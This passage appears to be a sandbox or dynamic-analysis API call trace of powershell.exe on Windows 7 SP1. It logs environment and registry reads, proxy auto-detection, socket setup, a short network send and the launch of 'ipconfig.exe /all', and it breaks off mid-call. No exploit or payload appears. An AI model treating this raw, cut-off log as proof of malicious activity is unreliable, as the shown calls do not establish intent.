CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.675] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.675] CoTaskMemFree (pv=0x255160) [0248.742] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.742] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.742] CoTaskMemFree (pv=0x255160) [0248.744] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.744] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.744] CoTaskMemFree (pv=0x255160) [0248.745] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.745] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.745] CoTaskMemFree (pv=0x255160) [0248.748] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.748] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.748] CoTaskMemFree (pv=0x255160) [0248.749] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.749] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.749] CoTaskMemFree (pv=0x255160) [0248.750] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.750] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.750] CoTaskMemFree (pv=0x255160) [0248.751] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.751] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.751] CoTaskMemFree (pv=0x255160) [0248.773] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.773] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.773] CoTaskMemFree (pv=0x255160) [0249.020] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x358 [0249.020] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x35c [0249.278] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c83d9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0249.278] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c83d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0249.283] CoTaskMemAlloc (cb=0x20c) returned 0x1b825640 [0249.283] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1b825640, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0249.287] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1c83da50 | out: lpFileInformation=0x1c83da50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9bf7e3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf9bf7e3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f871a3e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0249.314] GetCurrentProcess () returned 0xffffffffffffffff [0249.314] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c83d888 | out: TokenHandle=0x1c83d888*=0x374) returned 1 [0249.353] GetCurrentProcess () returned 0xffffffffffffffff [0249.354] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c83d9b8 | out: TokenHandle=0x1c83d9b8*=0x388) returned 1 [0249.370] GetCurrentProcess () returned 0xffffffffffffffff [0249.370] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c83d9b8 | out: TokenHandle=0x1c83d9b8*=0x3a8) returned 1 [0249.401] CoTaskMemAlloc (cb=0xcd0) returned 0x1b856700 [0249.401] RasEnumConnectionsW (in: param_1=0x1b856700, param_2=0x1c83df8c, param_3=0x1c83df88 | out: param_1=0x1b856700, param_2=0x1c83df8c, param_3=0x1c83df88) returned 0x0 [0249.405] CoTaskMemFree (pv=0x1b856700) [0249.412] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1c83dd98 | out: lpWSAData=0x1c83dd98) returned 0 [0249.418] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x404 [0249.421] setsockopt (s=0x404, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0249.421] closesocket (s=0x404) returned 0 [0249.421] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x404 [0249.422] setsockopt (s=0x404, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0249.422] closesocket (s=0x404) returned 0 [0249.427] GetCurrentProcess () returned 0xffffffffffffffff [0249.427] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c83d618 | out: TokenHandle=0x1c83d618*=0x404) returned 1 [0249.436] GetCurrentProcess () returned 0xffffffffffffffff [0249.436] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c83d618 | out: TokenHandle=0x1c83d618*=0x408) returned 1 [0249.446] CoTaskMemAlloc (cb=0x204) returned 0x2a35c0 [0249.446] GetComputerNameW (in: lpBuffer=0x2a35c0, nSize=0x30cbf70 | out: lpBuffer="YKYD69Q", nSize=0x30cbf70) returned 1 [0249.446] CoTaskMemFree (pv=0x2a35c0) [0249.447] RegQueryValueExW (in: hKey=0x40c, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x1c83da80, lpData=0x1c83da7c, lpcbData=0x1c83da78*=0x4 | out: lpType=0x1c83da80*=0x4, lpData=0x1c83da7c*=0x1, lpcbData=0x1c83da78*=0x4) returned 0x0 [0249.447] RegQueryValueExW (in: hKey=0x40c, lpValueName="First Counter", lpReserved=0x0, lpType=0x1c83da7c, lpData=0x0, lpcbData=0x1c83da78*=0x0 | out: lpType=0x1c83da7c*=0x4, lpData=0x0, lpcbData=0x1c83da78*=0x4) returned 0x0 [0249.447] RegQueryValueExW (in: hKey=0x40c, lpValueName="First Counter", lpReserved=0x0, lpType=0x1c83da80, lpData=0x1c83da7c, lpcbData=0x1c83da78*=0x4 | out: lpType=0x1c83da80*=0x4, lpData=0x1c83da7c*=0x137a, lpcbData=0x1c83da78*=0x4) returned 0x0 [0249.447] RegCloseKey (hKey=0x40c) returned 0x0 [0249.450] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.net clr networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c83dab8 | out: phkResult=0x1c83dab8*=0x40c) returned 0x0 [0249.450] RegQueryValueExW (in: hKey=0x40c, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x1c83da3c, lpData=0x0, lpcbData=0x1c83da38*=0x0 | out: lpType=0x1c83da3c*=0x4, lpData=0x0, lpcbData=0x1c83da38*=0x4) returned 0x0 [0249.450] RegQueryValueExW (in: hKey=0x40c, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x1c83da40, lpData=0x1c83da3c, lpcbData=0x1c83da38*=0x4 | out: lpType=0x1c83da40*=0x4, lpData=0x1c83da3c*=0x3, lpcbData=0x1c83da38*=0x4) returned 0x0 [0249.450] RegQueryValueExW (in: hKey=0x40c, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x1c83da3c, lpData=0x0, lpcbData=0x1c83da38*=0x0 | out: lpType=0x1c83da3c*=0x4, lpData=0x0, lpcbData=0x1c83da38*=0x4) returned 0x0 [0249.450] RegQueryValueExW (in: hKey=0x40c, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x1c83da40, lpData=0x1c83da3c, lpcbData=0x1c83da38*=0x4 | out: lpType=0x1c83da40*=0x4, lpData=0x1c83da3c*=0x20000, lpcbData=0x1c83da38*=0x4) returned 0x0 [0249.450] RegQueryValueExW (in: hKey=0x40c, lpValueName="Counter Names", lpReserved=0x0, lpType=0x1c83da3c, lpData=0x0, lpcbData=0x1c83da38*=0x0 | out: lpType=0x1c83da3c*=0x3, lpData=0x0, lpcbData=0x1c83da38*=0xaa) returned 0x0 [0249.450] RegQueryValueExW (in: hKey=0x40c, lpValueName="Counter Names", lpReserved=0x0, lpType=0x1c83da3c, lpData=0x30cf238, lpcbData=0x1c83da38*=0xaa | out: lpType=0x1c83da3c*=0x3, lpData=0x30cf238*, lpcbData=0x1c83da38*=0xaa) returned 0x0 [0249.454] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0249.459] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x1c83d9f0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20000, lpName="Global\\netfxcustomperfcounters.1.0.net clr networking") returned 0x410 [0249.460] MapViewOfFile (hFileMappingObject=0x410, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1b3d0000 [0249.461] VirtualQuery (in: lpAddress=0x1b3d0000, lpBuffer=0x1c83d9e8, dwLength=0x30 | out: lpBuffer=0x1c83d9e8*(BaseAddress=0x1b3d0000, AllocationBase=0x1b3d0000, AllocationProtect=0x4, __alignment1=0xfffff880, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0249.461] LocalFree (hMem=0x1b853d00) returned 0x0 [0249.463] RegCloseKey (hKey=0x40c) returned 0x0 [0249.465] GetVersionExW (in: lpVersionInformation=0x1c83c9c0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1c83c9c0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0249.466] GetVersionExW (in: lpVersionInformation=0x1c83c990*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1c83c990*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0249.467] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x30cfee8, cbSid=0x1c83d9d0 | out: pSid=0x30cfee8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c83d9d0) returned 1 [0249.469] CreateMutexW (lpMutexAttributes=0x30d00f0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x40c [0249.472] WaitForSingleObject (hHandle=0x40c, dwMilliseconds=0x1f4) returned 0x0 [0249.473] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x30d0408, cbSid=0x1c83d930 | out: pSid=0x30d0408*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c83d930) returned 1 [0249.473] CreateMutexW (lpMutexAttributes=0x30d05c0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x0 [0249.474] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Global\\.net clr networking") returned 0x414 [0249.474] WaitForSingleObject (hHandle=0x414, dwMilliseconds=0x1f4) returned 0x0 [0249.475] ReleaseMutex (hMutex=0x414) returned 1 [0249.475] CloseHandle (hObject=0x414) returned 1 [0249.476] GetCurrentProcessId () returned 0x740 [0249.477] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x740) returned 0x414 [0249.477] GetProcessTimes (in: hProcess=0x414, lpCreationTime=0x1c83d940, lpExitTime=0x1c83d938, lpKernelTime=0x1c83d930, lpUserTime=0x1c83d928 | out: lpCreationTime=0x1c83d940, lpExitTime=0x1c83d938, lpKernelTime=0x1c83d930, lpUserTime=0x1c83d928) returned 1 [0249.478] CloseHandle (hObject=0x414) returned 1 [0249.478] ReleaseMutex (hMutex=0x40c) returned 1 [0249.478] CloseHandle (hObject=0x40c) returned 1 [0249.535] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x30d1408, cbSid=0x1c83d9d0 | out: pSid=0x30d1408*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c83d9d0) returned 1 [0249.535] CreateMutexW (lpMutexAttributes=0x30d15c0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x40c [0249.535] WaitForSingleObject (hHandle=0x40c, dwMilliseconds=0x1f4) returned 0x0 [0249.536] ReleaseMutex (hMutex=0x40c) returned 1 [0249.537] CloseHandle (hObject=0x40c) returned 1 [0249.537] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x30d2228, cbSid=0x1c83d9d0 | out: pSid=0x30d2228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c83d9d0) returned 1 [0249.537] CreateMutexW (lpMutexAttributes=0x30d23e0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x40c [0249.537] WaitForSingleObject (hHandle=0x40c, dwMilliseconds=0x1f4) returned 0x0 [0249.538] ReleaseMutex (hMutex=0x40c) returned 1 [0249.538] CloseHandle (hObject=0x40c) returned 1 [0249.538] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x30d3040, cbSid=0x1c83d9d0 | out: pSid=0x30d3040*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c83d9d0) returned 1 [0249.538] CreateMutexW (lpMutexAttributes=0x30d31f8, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x40c [0249.539] WaitForSingleObject (hHandle=0x40c, dwMilliseconds=0x1f4) returned 0x0 [0249.541] ReleaseMutex (hMutex=0x40c) returned 1 [0249.541] CloseHandle (hObject=0x40c) returned 1 [0249.541] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x30d3e50, cbSid=0x1c83d9d0 | out: pSid=0x30d3e50*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c83d9d0) returned 1 [0249.541] CreateMutexW (lpMutexAttributes=0x30d4008, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x40c [0249.541] WaitForSingleObject (hHandle=0x40c, dwMilliseconds=0x1f4) returned 0x0 [0249.542] ReleaseMutex (hMutex=0x40c) returned 1 [0249.542] CloseHandle (hObject=0x40c) returned 1 [0249.544] ioctlsocket (in: s=0x40c, cmd=-2147195266, argp=0x1c83dfb8 | out: argp=0x1c83dfb8) returned 0 [0249.545] ioctlsocket (in: s=0x418, cmd=-2147195266, argp=0x1c83dfb8 | out: argp=0x1c83dfb8) returned 0 [0249.546] WSAIoctl (in: s=0x40c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c83df30, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c83df30, lpOverlapped=0x0) returned -1 [0249.547] CoTaskMemAlloc (cb=0x204) returned 0x2a33b0 [0249.547] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x2a33b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0249.559] RasConnectionNotificationW (param_1=0xffffffffffffffff, param_2=0x420, param_3=0x3) returned 0x0 [0249.572] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x1c83e070 | out: phkResult=0x1c83e070*=0x438) returned 0x0 [0249.576] RegOpenKeyExW (in: hKey=0x438, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c83df58 | out: phkResult=0x1c83df58*=0x43c) returned 0x0 [0249.576] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x440 [0249.577] RegNotifyChangeKeyValue (hKey=0x43c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x440, fAsynchronous=1) returned 0x0 [0249.578] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c83df80 | out: phkResult=0x1c83df80*=0x444) returned 0x0 [0249.578] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x448 [0249.579] RegNotifyChangeKeyValue (hKey=0x444, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x448, fAsynchronous=1) returned 0x0 [0249.579] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c83df80 | out: phkResult=0x1c83df80*=0x44c) returned 0x0 [0249.579] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x450 [0249.579] RegNotifyChangeKeyValue (hKey=0x44c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x450, fAsynchronous=1) returned 0x0 [0249.579] GetCurrentProcess () returned 0xffffffffffffffff [0249.579] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c83dee8 | out: TokenHandle=0x1c83dee8*=0x454) returned 1 [0249.614] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1c83dfb8 | out: pProxyConfig=0x1c83dfb8) returned 1 [0249.949] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x1, ppwstrAutoConfigUrl=0x1c83df20 | out: ppwstrAutoConfigUrl=0x1c83df20*=0x0) returned 0 [0249.963] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x2, ppwstrAutoConfigUrl=0x1c83df20 | out: ppwstrAutoConfigUrl=0x1c83df20*=0x0) returned 0 [0252.588] ioctlsocket (in: s=0x388, cmd=-2147195266, argp=0x1c83dfe8 | out: argp=0x1c83dfe8) returned 0 [0252.588] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x46c [0252.589] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3ac [0252.589] ioctlsocket (in: s=0x46c, cmd=-2147195266, argp=0x1c83dfe8 | out: argp=0x1c83dfe8) returned 0 [0252.589] WSAIoctl (in: s=0x388, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c83df60, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c83df60, lpOverlapped=0x0) returned -1 [0252.589] CoTaskMemAlloc (cb=0x204) returned 0x2a39e0 [0252.589] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x2a39e0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0252.589] CoTaskMemFree (pv=0x2a39e0) [0252.589] WSAEventSelect (s=0x388, hEventObject=0x3a8, lNetworkEvents=512) returned 0 [0252.589] WSAIoctl (in: s=0x46c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c83df60, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c83df60, lpOverlapped=0x0) returned -1 [0252.589] CoTaskMemAlloc (cb=0x204) returned 0x2a39e0 [0252.589] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x2a39e0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0252.589] CoTaskMemFree (pv=0x2a39e0) [0252.589] WSAEventSelect (s=0x46c, hEventObject=0x3ac, lNetworkEvents=512) returned 0 [0252.607] GetAdaptersAddresses () returned 0x6f [0252.612] LocalAlloc (uFlags=0x0, uBytes=0xb88) returned 0x1b8753b0 [0252.612] GetAdaptersAddresses () returned 0x0 [0252.645] LocalFree (hMem=0x1b8753b0) returned 0x0 [0252.776] send (in: s=0x3b0, buf=0x2fff8a0*, len=86, flags=0 | out: buf=0x2fff8a0*) returned 86 [0252.884] CoTaskMemAlloc (cb=0x104) returned 0x1b861cb0 [0252.884] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b861cb0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0252.884] CoTaskMemFree (pv=0x1b861cb0) [0252.907] CoTaskMemAlloc (cb=0x104) returned 0x1b861cb0 [0252.907] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b861cb0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0252.907] CoTaskMemFree (pv=0x1b861cb0) [0253.528] CoTaskMemAlloc (cb=0x104) returned 0x1b861cb0 [0253.528] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b861cb0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0253.528] CoTaskMemFree (pv=0x1b861cb0) [0253.535] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0253.536] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x1c83e250 | out: lpConsoleScreenBufferInfo=0x1c83e250) returned 1 [0253.565] VirtualQuery (in: lpAddress=0x1c83d3d0, lpBuffer=0x1c83e290, dwLength=0x30 | out: lpBuffer=0x1c83e290*(BaseAddress=0x1c83d000, AllocationBase=0x1beb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0253.570] CoTaskMemAlloc (cb=0x104) returned 0x1b861cb0 [0253.570] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x1b861cb0, nSize=0x80 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0253.570] CoTaskMemFree (pv=0x1b861cb0) [0253.575] CoTaskMemAlloc (cb=0x104) returned 0x1b861cb0 [0253.575] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x1b861cb0, nSize=0x80 | out: lpBuffer="") returned 0x92 [0253.575] CoTaskMemFree (pv=0x1b861cb0) [0253.575] CoTaskMemAlloc (cb=0x128) returned 0x2e44c0 [0253.575] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x2e44c0, nSize=0x92 | out: lpBuffer="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x91 [0253.575] CoTaskMemFree (pv=0x2e44c0) [0253.585] CoTaskMemAlloc (cb=0x20e) returned 0x1b824fb0 [0253.585] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1b824fb0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0253.585] CoTaskMemFree (pv=0x1b824fb0) [0253.592] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\ipconfig.ps1", lpFindFileData=0x1c83d670 | out: lpFindFileData=0x1c83d670) returned 0xffffffffffffffff [0253.662] SetErrorMode (uMode=0x1) returned 0x1 [0253.663] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x105, lpBuffer=0x1c83d4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x41 [0253.663] SetErrorMode (uMode=0x1) returned 0x1 [0253.663] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\ipconfig.psm1", lpFindFileData=0x1c83d670 | out: lpFindFileData=0x1c83d670) returned 0xffffffffffffffff [0253.667] SetErrorMode (uMode=0x1) returned 0x1 [0253.668] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x105, lpBuffer=0x1c83d4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x41 [0253.668] SetErrorMode (uMode=0x1) returned 0x1 [0253.668] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\ipconfig.psd1", lpFindFileData=0x1c83d670 | out: lpFindFileData=0x1c83d670) returned 0xffffffffffffffff [0253.672] SetErrorMode (uMode=0x1) returned 0x1 [0253.673] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x105, lpBuffer=0x1c83d4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x41 [0253.673] SetErrorMode (uMode=0x1) returned 0x1 [0253.673] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\ipconfig.COM", lpFindFileData=0x1c83d670 | out: lpFindFileData=0x1c83d670) returned 0xffffffffffffffff [0253.678] SetErrorMode (uMode=0x1) returned 0x1 [0253.746] CoTaskMemAlloc (cb=0x22) returned 0x1b8666e0 [0253.746] SHGetFileInfoA (in: pszPath="C:\\Windows\\system32\\ipconfig.exe", dwFileAttributes=0x0, psfi=0x1c83db88, cbFileInfo=0x168, uFlags=0x2000 | out: psfi=0x1c83db88) returned 0x4550 [0253.832] GetConsoleWindow () returned 0xe0214 [0253.969] CommandLineToArgvW (in: lpCmdLine=" /all", pNumArgs=0x1c83dbd0 | out: pNumArgs=0x1c83dbd0) returned 0x1b8666e0*="" [0253.970] lstrlenW (lpString="/all") returned 4 [0253.971] CoTaskMemAlloc (cb=0xc) returned 0x1b876290 [0253.971] RtlMoveMemory (in: Destination=0x1b876290, Source=0x1b8666fa, Length=0xa | out: Destination=0x1b876290) [0253.972] CreatePipe (in: hReadPipe=0x1c83db50, hWritePipe=0x1c83db48, lpPipeAttributes=0x1c83db20, nSize=0x0 | out: hReadPipe=0x1c83db50*=0x378, hWritePipe=0x1c83db48*=0x3b0) returned 1 [0253.972] GetCurrentProcess () returned 0xffffffffffffffff [0253.972] GetCurrentProcess () returned 0xffffffffffffffff [0253.973] CoTaskMemAlloc (cb=0x88) returned 0x1b8599b0 [0253.973] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Windows\\system32\\ipconfig.exe\" 